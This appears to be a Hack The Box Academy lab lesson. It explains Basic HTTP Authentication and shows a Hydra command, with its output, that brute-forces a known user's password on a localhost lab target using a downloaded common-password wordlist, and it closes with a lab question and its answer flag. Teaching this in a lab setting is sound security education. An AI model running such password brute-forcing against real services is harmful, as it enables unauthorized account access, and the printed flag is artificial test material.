Basic HTTP Authentication

Web applications often employ authentication mechanisms to protect sensitive data and functionalities. Basic HTTP Authentication, or simply `Basic Auth`, is a rudimentary yet common method for securing resources on the web. Though easy to implement, its inherent security vulnerabilities make it a frequent target for brute-force attacks.

In essence, Basic Auth is a challenge-response protocol where a web server demands user credentials before granting access to protected resources. The process begins when a user attempts to access a restricted area. The server responds with a `401 Unauthorized` status and a `WWW-Authenticate` header prompting the user's browser to present a login dialog.

Once the user provides their username and password, the browser concatenates them into a single string, separated by a colon. This string is then encoded using Base64 and included in the `Authorization` header of subsequent requests, following the format `Basic <encoded_credentials>`. The server decodes the credentials, verifies them against its database, and grants or denies access accordingly.

For example, the headers for Basic Auth in a HTTP GET request would look like:

Code: http

```http
GET /protected_resource HTTP/1.1
Host: www.example.com
Authorization: Basic YWxpY2U6c2VjcmV0MTIz
```

Exploiting Basic Auth with Hydra

To follow along, start the target system via the question section at the bottom of the page.

We will use the `http-get` hydra service to brute force the basic authentication target.

In this scenario, the spawned target instance employs Basic HTTP Authentication. We already know the username is `basic-auth-user`. Since we know the username, we can simplify the Hydra command and focus solely on brute-forcing the password. Here's the command we'll use:

Basic HTTP Authentication

```
# Download wordlist if needed
MisaelMacias@htb[/htb]$ curl -s -O https://raw.githubusercontent.com/danielmiessler/SecLists/
# Hydra command
MisaelMacias@htb[/htb]$ hydra -l basic-auth-user -P 2023-200_most_used_passwords.txt 127.0.0.

...
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or sec

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-09 16:04:31
[DATA] max 16 tasks per 1 server, overall 16 tasks, 200 login tries (l:1/p:200), ~13 tries pe
[DATA] attacking http-get://127.0.0.1:81/
[81][http-get] host: 127.0.0.1   login: basic-auth-user   password: ...
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-09-09 16:04:32
```

Let's break down the command:

- `-l basic-auth-user`: This specifies that the username for the login attempt is 'basic-auth-user'.
- `-P 2023-200_most_used_passwords.txt`: This indicates that Hydra should use the password list contained in the file '2023-200_most_used_passwords.txt' for its brute-force attack.
- `127.0.0.1`: This is the target IP address, in this case, the local machine (localhost).
- `http-get /`: This tells Hydra that the target service is an HTTP server and the attack should be performed using HTTP GET requests to the root path ('/').
- `-s 81`: This overrides the default port for the HTTP service and sets it to 81.

Cheat Sheet

? Go to Questions

Table of Contents

Introduction

Introduction ✓
Password Security Fundamentals ✓

Brute Force Attacks

Brute Force Attacks ✓
Dictionary Attacks ✓
Hybrid Attacks ✓

Hydra

Hydra ✓
Basic HTTP Authentication ✓
Login Forms ✓

Medusa

Medusa ✓
Web Services ✓

Custom Wordlists

Custom Wordlists ✓

Skills Assessment

Skills Assessment Part 1 ✓
Skills Assessment Part 2 ✓

My Workstation

OFFLINE

Start Instance

∞ / 1 spawns left

Upon execution, Hydra will systematically attempt each password from the `2023-200_most_used_passwords.txt` file against the specified resource. Eventually it will return the correct password for `basic-auth-user`, which you can use to login to the website and retrieve the flag.

Connect to Pwnbox

Your own web-based Parrot Linux instance to play our labs.

Pwnbox Location

UK 139ms

Terminate Pwnbox to switch location

Start Instance

∞ / 1 spawns left

Waiting to start...

Enable step-by-step solutions for all questions

Questions

Cheat Sheet

Answer the question(s) below to complete this Section and earn cubes!

Target(s): Click here to spawn the target system!

+ 2 After successfully brute-forcing, and then logging into the target, what is the full flag you find?

HTB{bru73_f0rc1n6_15_4_l457_r350r7}

Submit

Previous Next

Mark Complete & Next